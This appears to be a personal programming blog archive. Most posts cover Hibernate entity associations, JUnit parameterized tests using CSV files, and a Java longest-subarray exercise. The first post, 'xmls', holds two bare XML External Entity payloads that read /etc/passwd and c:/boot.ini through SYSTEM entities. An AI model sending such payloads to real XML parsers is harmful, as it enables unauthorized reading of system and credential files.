Saturday 11 September 2021

xmls

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]>
<foo>&xxe;</foo>


<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>  
<vehicle>   
   <type>Car</type>   
   <brand>&test;</brand>  
</vehicle>

Tuesday 24 August 2021

Hibernate associations

The following post is for playing with the assiocations.


Uni-directional

 public class SourceEntity {

@Id

private Long id;

private String name;

@OneToMany

private List<TargetEntity> targets;

}

public class TargetEntity {
@Id
private Long id;
private String description;
}

Both tables have two columns each. No FK column is added.

For the able table, the third table is "source_entity_targets" is created with two columns "source_entity_id" and "target_id".

Bi-directional

If I add convert it to bi-directional, still it will create a third table. Following changes are added for bi-directional and Target Entity looks like. 

public class TargetEntity {

@Id
private Long id;
private String description;
@ManyToOne(fetch = FetchType.LAZY)
    private SourceEntity sourceEntity;
}

This time the target entity table has "source_entity_id" column as well. It is "MUL" key.

Adding @JoinColumn annotation in Source table


public class SourceEntity {
@Id
private Long id;
private String name;
        @OneToMany(cascade = {CascadeType.ALL})
@JoinColumn
private List<TargetEntity> targets;
}

public class TargetEntity {

@Id
private Long id;
private String description;

@ManyToOne(fetch = FetchType.LAZY)
private SourceEntity sourceEntity;

}

This creates two tables. The source table has 2 columns, Target tables have 4 columns out of which 2 columns are: source_entity_id and targets_id. 

On saving the object, the source_entity id was saved in target_ids.

Join Column name

When I added the name to the Join column annotation as following in the source entity class.

Two tables were created.

@OneToMany(cascade = {CascadeType.ALL})
@JoinColumn(name="source_id")
private List<TargetEntity> targets;

Target table's column name "targets_id" is converted to "source_id".

When I added the @JoinColumn annotation in targetClass as 
@ManyToOne(fetch = FetchType.LAZY)
@JoinColumn(name="source_id")
private SourceEntity sourceEntity;

Three tables were created.
source_entity has 2 columns.
The target entity has now 3 columns. The third column is "source_id".
And source_entity_targets table with two columns as discussed above.

When saved an object, the source_id was set to null and the source_entity_targets columns had values.

After adding the following to source
@OneToMany(cascade = {CascadeType.ALL}, mappedBy = "sourceEntity") 
private List<TargetEntity> targets;

2 tables were created but the source id was not saved in the target table. the source_id column value was set to null.

To fix this, a new sourceEntity should be added to the target entity before saving the source entity. Example: 

SourceEntity src = new SourceEntity();
src.setName("source");
List<TargetEntity> targetEntities = new ArrayList<>();
TargetEntity target = new TargetEntity();
target.setDescription("description");
target.setSourceEntity(src); // <<<<< this line adds the source to target.
targetEntities.add(target);
src.setTargets(targetEntities);
dataService.persistData(src);









Sunday 22 August 2021

Junit - Parameterized Unit Testing - CsvFileSource

Sometimes we need to execute a single test case multiple times.

In Java, For this purpose using JUnit's Parameterized testing is a good approach. 

It allows us to provide test data in an iterable format and code runs for all the records. In this series, I will try to cover different ways of providing iterable data to unit tests. 


In this tutorial, we will read the data from a CSV file with the annotation @CsvFileSource. It will use a comma-separated file as an input data source.

In Junit, We use the @Test annotation to mark a method as a test case. In case of making a test Parameterized, We need to add the annotation `@ParameterizedTest` instead of @Test and mention the input file as a parameter in `@CsvFileSource`.

@ParameterizedTest

 @CsvFileSource(resources = "/input_test_data.csv", numLinesToSkip = 1)

You can see another parameter named 'numLinesToSkip' which is used to skip these lines for the testing. In this case, I have added 1 to skip the header name.

To start the example, First, create a CSV file under the directory 'src/test/resources' and name it whatever you want. For this example, the file name is "input_test_data" with two columns. i.e. First Name and Last Name. Following are the contents of our CSV file.

First Name, Last Name

Ragnar, Lothbrok

Now create a Java class in the test folder and put the following contents in the file.\


import org.junit.jupiter.params.ParameterizedTest;

import org.junit.jupiter.params.provider.CsvFileSource;

class ParameterizedUnitTest {

    @ParameterizedTest

    @CsvFileSource(resources = "/input_test_data.csv", numLinesToSkip = 1)

public void testCategories(String firstName, String lastName) {

System.out.print("Full Name is :"+firstName+" "+lastName);

}

}

Now you can run the test by adding multiple records to your CSV file.


Happy coding.




Tuesday 15 June 2021

Finding the longest subarray that starts and ends on the same digit

 package com.poc.basic;


import java.util.ArrayList;

import java.util.Arrays;

import java.util.HashMap;

import java.util.List;

import java.util.Map;


public class Test {


public static void main(String[] args) {

List<Integer> input=Arrays.asList(1, 2, 3, 7, 6, 1, 9, 8, 6, 1, 9, 8,  9, 8, 3);

List<Integer> largest = new ArrayList<Integer>();

int largestSqnce = 0;

Map<Integer, Integer> map = new HashMap();

for(int i=0; i<input.size(); i++) {

if(!map.containsKey(input.get(i))) {

map.put(input.get(i), i);

}else {

if(i - map.get(input.get(i)) > largestSqnce) {

largestSqnce = (i - map.get(input.get(i)))+1;

largest = input.subList(map.get(input.get(i)), i+1);

}

}

}

System.out.println(largest);

}

}